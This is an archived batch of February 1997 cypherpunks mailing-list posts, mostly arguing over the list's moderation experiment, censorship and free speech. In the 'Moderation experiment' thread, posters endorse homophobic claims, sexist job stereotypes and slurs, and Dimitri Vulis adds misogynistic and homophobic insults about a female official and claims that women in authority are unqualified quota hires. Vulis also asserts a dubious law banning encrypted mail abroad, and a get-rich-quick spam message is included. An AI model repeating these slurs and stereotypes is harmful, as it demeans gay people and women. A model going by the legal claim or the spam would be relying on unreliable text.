W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 14 Feb 1997 15:56:22 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142356.PAA18027@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Dave Hayes wrote:
> > You'll find those of us who -truly- want free speech are extremely
> > good at ignoring what we don't like.
> Not all of you freedom-knights are good at it at all.

The "us" I mentioned did not refer to the freedom knights, but "those
of us who -truly- want free speech"...a slight english parsing
problem. The freedom knights are a subset of those who want free
speech.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

It is our ability to act as ourselves, freely and of our own choosing,
that is the greatest gift to mankind; my Creator, the sole being in the
universe who legitimately had power over me, gave me that power freely
in order to enable me to become what I am.                  -- Russ Allbery








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 14 Feb 1997 15:41:30 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Fuck UseNet
Message-ID: <199702142341.PAA17396@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Toto <toto@sk.sympatico.ca> reminds me while I've killfiled him:
>   So, basically, you're saying that the flight from censorship should
> be toward a new CypherPunk 'home' where one is effectively censored
> automatically unless one kisses the ass of a Cabal?

Yup. You're begging resources, deal with it. We didn't kiss John
Gillmore's ass, and he decided that he was tired of the shit and
stopped letting us squat on his land. If we were paying him for the
use of toad, he maybe wouldn't have the right to yank it so suddenly,
but we weren't, so it's his call. Same with usenet. The "cabal" has
high reputation capital. News admins the world over trust them. One
might say that they deserve the respect they get, but that is
immaterial to the discussion. the fact is that people who donate
resources to usenet trust the cabal.

Unless you have a contractual relationship, you're begging, and you
have to convince your benefactors to give you stuff. If you have a
different model for a world economy, feel free to post it. 

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

PS. Of course, the cabal didn't rmgroup alt.cypherpunks, thus showing
that they do have some good sence yet.
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=dkhj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 14 Feb 1997 15:41:20 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702142341.PAA17371@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Adam Back <aba@dcs.ex.ac.uk> writes:
<snip declan's rather well-balanced article>
> What does `crusty' mean as applied to a former Intel engineer?

Try definition 2

Word         crusty (KRUHS'tee)  adj.
Definition   --adj. -ier, -iest.  1. Like or having a crust.  2. Surly
             or brusk.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

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kE30sVsW4juawhXGRIAWJ/5Ce9lBLPdp
=bB+u
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 14 Feb 1997 15:55:59 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142355.PAA17966@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> You'll find those of us who -truly- want free speech are extremely
> good at ignoring what we don't like.

Not all of you freedom-knights are good at it at all.

I would go as far as to say that only you, Dave Hayes, are good at it.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@bigeasy.com>
Date: Fri, 14 Feb 1997 15:57:40 -0800 (PST)
To: Martin Minow <fight-censorship@vorlon.mit.edu
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702142357.PAA18119@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> The only other alternative I can see would be to limit membership --
> but not limit what members might write. 

The notion that there are "members" in some kind of formal fashion is 
inherently un-cypherpunk in my book and would most likely be 
rejected.

> Having been "on" the net for over 15 years -- and with experience in
> both ends of the censorship/moderation problem  (I'm probably the
> only Cypherpunks member to have had a book "banned in Boston"), I'm
> sorry that a handful of sociopaths managed to destroy this
> experiment in anarchy, but I suspect that this was inevitable.

In your 15 years on-line you should KNOW that it's an inevitable 
cycle inherent to anarchic forums like cypherpunks.  But the notion 
that cypherpunks is dead and destroyed is silly.  Cypherpunks will 
(and already are) reform and renew as is, I believe, necessary.  
Whether or not the name cypherpunks is used and embraced is 
irrelevant.  Those interested in cryptography as a tool of personal 
privacy and freedom will inevitable congregate in the self-organizing 
fashion that "cypherpunks" have always recognized.

The "human judgement" you are referring to is leadership.  Leadership 
is not necessarily anathema to cypherpunks.  Leadership is provided 
by those who try to post signal and ignore the noise.  Those who 
continue to push the discussion forward.  

People inevitably tire of robust forums such as this.  The sociopaths 
and the leaders come and go in waves.  Let the forum mutate in 
whatever way it chooses.
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:"to get my public key  |   _London_Calling_ , 1980
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 14 Feb 1997 15:58:03 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142358.PAA18139@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Vin McLellan wrote:
> 
>         It's always interesting  to see how another person, particularly a
> writer, filters and reshapes an experience you shared with them .
> Differences in the telling are inevitable -- but I perceived the recent
> experience of the C'punks List quite differently than what Declan described
> and implied in his column.
> 
>         My understanding of Sandy's effort, for instance, was that he was to
> filter out the sludge of spam and contentless name-calling with which some
> idiots were flooding the list.  My impression was that he was passing along
> any posts with content (ideas, pro or con, on almost anything) but filtering
> out the empty obscene name-calling and slurs (many of which seemed anon or
> forged, with varied and misleading titles, to duck my kill-file filters.)

May I ask you, what is the basis of "your understanding"?

Did you form your impression upon reading only the materials from
the list that was filtered by Sandy? Or you also read the flames and
unedited lists?

In the latter case, you have no basis for any claims regarding Sandy's
policy.

I do have a list of subscribers to the unedited list, and you were not
on it.

>         I, for one, was appreciative. 

>         By the logic of Tim and others, a clever and dedicated crusade
> against Cypherpunks by any minimally-organized group, bir or small -- your
> local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever!  -- could have
> destroyed the List at any time in the past. 

But of course.

> I'm glad they never realized
> how vulnerable we were;  I've enjoyed this Community greatly  in its current
> manifestation. 

Maybe they realized it and were not really bothered by this list because
of this lameness. What if all these anti-government rants were just
feeding the illusion of grandeur.

>          I also hate to think of how gleeful the sociopaths who mail-bombed
> us into the choice of submission or suicide must be today.  I think it is a
> particularly henious crime to destroy a virtual community; something akin to
> book-burning, but maybe more like arson -- like burning village schools.  

It is because you wanted to take everything from them.

>     There was a willful attempt to destroy C'punks, an attack of depth and
> volume which led many of us (even those who had ignored at least three
> earlier efforts to offer filtered subsets to the List)  to welcome the
> Moderation Experiment. Unfortunately, the attempt at moderation just twisted
> our own energies against ourselves.  We were, perhaps predictably, quite
> easy to manipulate.

It is a question of what you think is manipulation.

>         If I have any criticism of John et al, it is that our List-Owner (a
> statement of function, rather than property) never gave the List Community
> an overt option to vote for  minimal moderation.  A tactical error.  That
> that allowed the anarchists, nihlists, and others pure of heart to focus
> their ire on toad.com and Sandy -- rather than on those of us who (when John
> finally acted) might have gladly re-subscribed to another version of the
> List in order to obtain minimal spam and slur filtration.  

Yes, if moderation created a new place in cyberspace, it would have been
less controversial.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 14 Feb 1997 15:42:13 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142342.PAA17455@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:

> Here I can agree, I personally discriminate on the basis of sex, not 
> in that I believe women inferior to men but rather that I believe 
> each sex better suited to different tasks and vocations.
> That is not, however, to say that I believe women should be prevented 
> from taking up lines of work that men traditionally hold.
> They are free to do so, but as in the example you give later 
> I would feel uncomfortable having my car serviced by a woman.

<flame-retardant suit on>

Normally I would ignore this sort of comment (which probably belongs in 
some soc. newsgroup), but I feel obliged to point out that:

- The female <mechanic / scientist / engineer>, in addition to passing the
same exams as her male classmates, has probably had to put up with a fair
load of B.S. questioning her right and ability to be there.  The ones that
keep at it long enough to graduate are the ones that *really* want to do 
whatever it is, and IMHO are more likely to try harder.

- If she has been in business for a while, this means she has attracted
and kept customers in spite of the attitude displayed in previous posts. 
There are no "quotas" in the marketplace. 

- I wonder whether the garage owners have any preference.  In my military
experience (Signals officer), the (older male) sergeants and chiefs, when
given a choice, preferred female radar / radio technicians to male
because, in general, they were harder working, had thicker skins, and were
more pleasant to deal with. 

Chicken and Egg: How much of "each sex [is] better suited to different
tasks" is due to little girls being pulled away from the Lego and toy
trucks, and encouraged to play with Barbies?  Being told that they are 
*pretty* not *smart* as a form of approval? 

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 17:13:18 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702150113.RAA20407@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh allegedly said:
> 
> 
> On Fri, 14 Feb 1997, Jim Choate wrote:
> 
> > I am taking intellectual property rights from nobody. If anything I am
> > giving unlimited intellectual rights to the material to humankind for
> > posterity. Sorta cypherpunkish, don't you think?
> 
> I am amused by this. Jim's plan sounds much less cypherpunkish than
> collectivist. Communal property, ho!
> 
> After all, workers have nothing to lose in this revolution but their
> chains. They have a world to gain. Workers of the world, unite! 

Ad hominems are so much fun, eh?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 14 Feb 1997 15:56:39 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142356.PAA18072@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May asked:

>And was my article the kind of "sludge of spam" and "contentless
>name-calling" you thought the Moderation experiment was all about?

        No.  It definitely was not.

>And what of the four or five of my posts a week ago which never made it to
>either the Main list or the Flames list? The contained no "sludge of spam"
>nor "contentless name-calling." What they dealt with was a claim (like this
>one) that some posts were not being passed on to either of the two lists,
>and that perhaps a conflict of interest was developing.
>
>Does this still match your "understanding of Sandy's effort"?

        Sadly, no.

        _Vin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 15:41:14 -0800 (PST)
To: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Subject: Re:
Message-ID: <199702142341.PAA17356@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




> Is it legal or illegal to send a 
> PGP encrypted message from the US to someone in another country?

Yes.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 15:42:45 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142342.PAA17480@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



 
> Again, MY definition of a "bigot" is the correct one which is
> most understood by modern people.
> 
> A "bigot" is a racist, period.

I would have to differ with you there Dr. Grubor, although I think 
the term Bigot being applied critically to your opinions is 
inappropriate.

> > I see nothing that limits bigotry to racial intolerance.
> > 
> 
> You are a fool then.  Religion and sexism and groups all have nothing
> to do with bigotry.  A bigot is a racist, period.  That is TODAY'S
> correct definition of the term, and I am a lot more current than
> Webster.  Any anybody who has a "religion" and "prays" is a fool.
> The only god you will ever find is within yourself.

I do not begin to believe this is correct.  I happen to believe that 
sexism, not in the sense of believing women inferior but in the sense 
of believing homosexuals inferior can be, in some instances, a form 
of bigotry but it is merely a matter of semantics and not of 
interest.

I wholeheartedly agree with the last point, anybody who believes in 
any form of deity or higher being (call it god if you like) is, IMHO, 
a fool. However, this has proven in history to be contradicted on a 
number of occasions, for example, Albert Einstein was a Jew but did 
not just accept without enquiry, rather, his religious views were 
subtle and well thought through. This is, of course, the exception 
not the rule, and 99.9999% of all religious people are fools.

 
> > > It is very logical and wise to discriminate on the basis of sex.

Here I can agree, I personally discriminate on the basis of sex, not 
in that I believe women inferior to men but rather that I believe 
each sex better suited to different tasks and vocations.
That is not, however, to say that I believe women should be prevented 
from taking up lines of work that men traditionally hold.
They are free to do so, but as in the example you give later 
I would feel uncomfortable having my car serviced by a woman.

> > Most would disagree, and decide based on that and other statements you
> > have made that you must be an extremely unpleasant person.
> > 
> 
> See, there you go again, attacking the person, instead of the
> argument.  You lose points for that.  Sexism is GOOD and right and
> justified.  I want a woman cutting my hair, and a man fixing my car,
> and I demand the correct sex for ALL activities.

Exactly, the poster has failed to recognise that you have every right 
to discrimate as you do and are justified in doing so. They are 
probably either homosexual and feel threatened or they are censorous 
and feel they must protect people from being "defamed" etc...
 
> > If you want to fight censorship effectively, going around telling
> > people "You're a shit-eating faggot you fucking cock-sucking homo
> > censor" in public forums is not going to win you many points.
> 
> Look sonny, I am not out to win any points.  I have two Doctorates and
> 22 years of experience.   I speak with authority and only to those who
> have the intelligence to understand.   I was a perfect 4.00 in
> College, and am probably the most intelligent body-politic analyst in
> the world.  Now let's face it:  Faggots are BAD news.  They are most
> always censors!  And that is the truth you can never get around.

I agree, I have no prejudice against homosexuals. Rather I have 
formulated a low opinion of them as a group due to their censorous 
behaviour. I think it is because they feel threatened by straight 
people.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 00:41:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: The EFF
Message-ID: <199702150841.AAA07718@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:

>As for the "rift," may observers said at the time that DT was a Jerry
>Berman "appeasement and capitulation" scheme. Note Berman no longer works
>at EFF. Note EFF is no lnoger in DC.
>
>And yes, I've read Tim May's essay on his EFF membership. I probably would
>have had the same reaction.
>

It might be a useful minor footnote for me to say that I did end up
renewing for a later year (though I kept getting mail as "Tim Mat"). I was
semi-persuaded that they'd learned their lesson.

I stopped paying attention to them a while back, though, and haven't
considered renewing. They just came to seem to be irrelevant as a
"membership driven" organization. (There were reportedly only about 2000
individual members as of not too long ago, and the EFF does little
recruiting for new individual members. They are definitely not following
the NRA or AARP models.)

Their legal work support has been very nice, of course.

As for Berman, he put on the "SAFE" forum, which I thought was very well
done. So, he redeemed himself, for me.

(I don't really understand personally whether the Digital Telephony (CALEA,
Computer Assistance for Law Enforcement) thing is Just Bad, or Really Bad,
or Even Worse, or Inconceivably Evil. No one seems to know what is expected
for Internet telephony providers, for example, or whether DT/CALEA could be
used to shut down remailers, as some of us fear. If DT/CALEA turns out to
be Really Bad, or Even Worse, I'll have to put Berman back on my list of
less desirable folks. :-})

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 14 Feb 1997 17:11:37 -0800 (PST)
To: tcmay@got.net
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702150111.RAA20329@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> [...]
> By the way, I can forward to those who are interested these four or five
> posts which got "Meta-Censored." (Unless too many people request
> them...I'll promise to forward them to the first five people who request
> them...then some of you can repost them to the list and see if they make it
> through.)

I'd like to see them.  In fact I'd like to collect the posts which slipped
through the crack and didn't make it to either cp-flames or cp, on the
assumption that these are the posts which tell the story.

In particular I'd like to see the post that John Gilmore refered to as `Mr
Nemesis' post, wherein someone allegedly slanders/libels C2, to the
extent that Sandy dropped it from both lists, if anyone who was
subscribed to cypherpunks-unedited at the time has it still.

Unfortunately I was subscribed to only cypherpuks-flames and
cypherpunks (the edited list) at the time, so didn't get to see it.

I'm on Lance Cottrell's cypherpunks@cyberpass.net now, which is
subscribed to the cypherpunks-unedited list.  At the moment Lance is
setting Reply-To: to cypherpunks@toad.com, but I presume he'll drop
that when John Gilmore drops cypherpunks@toad.com.

The moderation decisions that I saw prior to moving to
cypherpunks-unedited after Sandy's return, and change of policy, were
even more arbitrary.  I figured I wasn't even interested to see what
they were any more, given that the cypherpunks@toad.com was shortly
being closed anyway, so just subscribed to cypherpunks-unedited.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sat, 15 Feb 1997 07:41:08 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702151541.HAA23095@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


So you write:

>Many good authors have already left the list and *nothing* will get them
>back.

Are you implying that any given mailing list should be controlled by
the best authors?
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

  Excuses are the tools with which those with no purpose in view build for 
  themselves great monuments of nothing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: christensen@usa.net
Date: Sat, 15 Feb 1997 07:41:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: $10,000 in 45 days - not MLM!
Message-ID: <199702151541.HAA23084@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,


$10,000 in 45 days!

When I first read that provocative headline I thought "Oh yeah!" 

Now, why do you think I'd be so skeptical? Well, if you've been 
involved in any other "opportunities" you'd know that the hype
mostly exceeds the reality. 

No one could have been more surprised than me, when I 
actually proved the truth of that headline. Yes, I did make over 
$10,000 in 45 days!

I'm not saying this to boast, but to tell you that it really is 
possible... 

If you'd like to know HOW, then just point your browser to:

http://www.cyberius.com/CG/122/

or, simply call and listen to a short message at:

1-800-995-0796 x4347

And keep my ID for reference....

Regards,

Kirt Christensen
Investors International
#CG122






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 15 Feb 1997 07:41:13 -0800 (PST)
To: Martin Minow <minow@apple.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702151541.HAA23106@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03010d01af2a5a0699db@[17.219.103.204]>, on 02/14/97 at 12:31 PM,
   Martin Minow <minow@apple.com> said:


>My first reaction to the "Death of Cypherpunks" (Declan McCullagh's article in
>http://netlynews.com Feb 12, 1997) is that it is another example of "The
>Tragedy of the Commons." -- the (unsolvable) problem of unlimited access to a
>limited resource. Cypherpunks was also
>susceptable to the strange Internet phenomenon where people could be proud of
>their anti-social, bad behavior (flame wars, "grafitti" in the form of spam).
>For this reason, I suspect that the future of the Internet in general, and
>Cyphperpunks in particular, will require serious editorial control (as is done
>by the Risks and Privacy digests).

>The only other alternative I can see would be to limit membership
>-- but not limit what members might write. In the long term, I suppose we'll
>have sufficiently intelligent software agents that can recognize spam and
>flaming and invisibly delete them from our e-mail in-boxes.

I compleetly dissagree with you.

The "Death of Cypherpunks" was not caused limited resources, or by spam, or by
the posts of the "good doctor". It was killed by two factors. The first was the
winning and sinviling crowd that was just too dam lazy to filter their mail.
With some very basic filtering the majority of the noise could be removed from
the list. There were a group of list members that were unwilling to take the
small amount of effort required to do this. They are the same type of people who
wine and cry that the governmnet should regulate this or regulate that all too
willing to give up a "little" freedom for promisises of extra "security". As if
this was not bad enough they typically demanded that everyone else give up a
"little" freedom along with them so they could have there extra "security".

The second and and even more deadly factor in the demise of the list was that
John & Sandy listened to these sheep. If there was such a great demand for a
censored cypherpunks list then they should have created a new censored list.
Those who wanted the services of Sandy to censor the list would have been free
to switch while leaving the main list intact. Instead the list was censored and
a cypherpunks-flams & a cypherpunks-unsensored lists were created. These list
were created with the promise that anything that did not make it onto the main
list would be placed onto the flames list. Well the inevitable happened a
message was posted that Sandy felt he could not forward to the flames list. All
this brew-ha-ha could have been avoided if Sandy had just posted a message to
the flame list stating that Dimitri had posted some crap that he could not or
would not repost to the flames list. No one would have faulted him for it as all
but the newest of list members know Dimitri. Instead threats of lawsuits were
addressed to anyone who even mentioned Dimitri's accusations. This blatent act
of censorship by Sandy and supported by John is what has brought cypherpunks to
where it is right now. Rather irronic that leaders of the fight against
"censorship" would use such tactics when it suits their needs.

>What bothers me more than anything else about the "solutions" I've seen
>proposed to the death of Cypherpunks is that they rely on technology -- and
>reject human judgement -- to solve what is, in reality, a social problem.  (One
>can certainly make the same argument about the V-chip, browser porn filters,
>and similar hacks.)

What bothers me more than anything is how false "problems" are created so
"solutions" can be implemented. Censorship of the list was NEVER needed.
Censorship of TV is not needed (ala V-chip). Censorship of cryptology is not
needed (via ITAR). Censorship is NEVER needed nor warented. Period.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Bugs come in through open Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 0000000

iQCVAwUBMwW7ro9Co1n+aLhhAQHIpQP/QTE6N5KpQoWvdC+mbzodR9th4GKOXjfh
RO1gyOElBP42S6VOUkyk1inNAf39l3Zux3z4LG1Eq5PDheXQAtME2d8+niWInpf0
8AOxwO+o6taw/YToXAOCfr29c9ciCUDsjP7fe702x6JcGfSlcjnfyfL5pNXa226A
uw3FsD+jgFM=
=pb3t
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sat, 15 Feb 1997 07:56:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
Message-ID: <199702151556.HAA23695@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu> writes:

> [cc list trimmed!]
>
> On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:
>
> >
> > > Is it legal or illegal to send a
> > > PGP encrypted message from the US to someone in another country?
> >
> > Yes.
>
> Rubbish.  It is perfectly legal.  See generally
> http://www.law.miami.edu/~froomkin/articles/clipper.htm

I remember teaching in my computer security class how in 1944
the congress passed an act making it illegal to send encrypted
messages fro m the U.S. to abroad via snail mail, radio, etc;
it covers the not yet invented communications too (like computer
networks) and is on the books in U.S.Code somewhere. No further
laws need to be passed for the fuckers to start enforcing it.

> PS. His sexist comments are rubbish too.  I usually like his crypto posts,
> however, as long as they are technical rather than legal...

Paul's sexist comments are very interesting - I hope to find more time to
comment on them too. I don't know if they have the same kind of "affirmative
action" in the U.K. that they have in the U.S. - here if you find a woman
in the position of authority, there's a good chance that she was promoted
ahead of more qualified men to meet some quota, and is therefore incompetent.

Remember how Klintoris (spit, spit) was determined to have a female attorney
general 4 years ago, and went through a slew of female candidates, rejecting
the best qualified ones like Kimba Wood, because she did what every working
mother in this country does - hired a babysitter for cash - and finally
appointed the bull dyke murdreress? No wonder the most ignorant shysters
on this forum, like Jim Ray (spit) come from Florida. Did he take classes
with Froomkin? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:26:10 -0800 (PST)
To: Mike Duvos <mpd@netcom.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702151726.JAA27035@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos wrote:
> John Gilmore <gnu@toad.com> writes:
> [Fluffy Gilmore apologia by Declan expunged]
> Two small points.
> 1.  The rift between Gilmore/EFF and Cypherpunks is hardly
>     of recent origin, and dates back to when the EFF first
>     demonstrated to horrified Cypherpunks that its policy
>     would be one of appeasement and capitulation towards
>     clearly unacceptable legislation.  This is all in the
>     archives, including Tim May's essay on why he chose not
>     to renew his EFF membership.
> 2.  The article fails to mention Gilmore's new nickname. :)

I'm so disgusted by the other disinformation put out by John's loyal
friends (i.e. "respected" cypherpunks) on the subject of "disrupters
and sociopaths", etc. that I try not to reply to any of the crud I
see posted by those clowns.  But when someone tries to be reasonable,
conversation is possible.  So how about some points on "disrupters":

1. Disrupters don't like bullies.
2. Disrupters don't like mindless authorities.
3. Disrupters don't like control freaks.
4. Disrupters don't like liars and hypocrites.
5. Disrupters don't like NSA/CIA/DEA/FBI trolls.
6. Disrupters don't like Animal Farm policies and elitists.

In short, if Gilmore had come down on the real problem people once
in a while, they wouldn't have agitated the "disrupters" nearly as
much as they did.  But he wasn't about to do that, because he's one
of the problem people himself.  Fooey on you, Gilmore.  May you never
work in this business again.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:26:14 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151726.JAA27041@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk wrote:
> I do not begin to believe this is correct.  I happen to believe that
> sexism, not in the sense of believing women inferior but in the sense
> of believing homosexuals inferior can be, in some instances, a form
> of bigotry but it is merely a matter of semantics and not of interest.
> I wholeheartedly agree with the last point, anybody who believes in
> any form of deity or higher being (call it god if you like) is, IMHO,
> a fool. However, this has proven in history to be contradicted on a
> number of occasions, for example, Albert Einstein was a Jew but did
> not just accept without enquiry, rather, his religious views were
> subtle and well thought through.

I thought Einstein's ideas on social matters (incl. religion) were
naive and sentimental.  There's a difference in saying "I believe
there's a God" and "I believe in a God".  Of course, either way one
could be implying a hidden or unspecified set of agendas concomitant
with such a belief.

In the movie "Jesus Of Nazareth" is a classic example of why to
believe or not believe in a religion, i.e. things unseen:

At the end, the followers are in a small room, fearing for their
safety and all, and they say to Jesus "how is anyone going to
believe all this stuff" (or words to that effect), and Jesus replies
"because you are my witnesses.  Tell them and they will believe".

See how simple that was?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 11:11:14 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151911.LAA01285@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
> - The female <mechanic / scientist / engineer>, in addition to passing the
> same exams as her male classmates, has probably had to put up with a fair
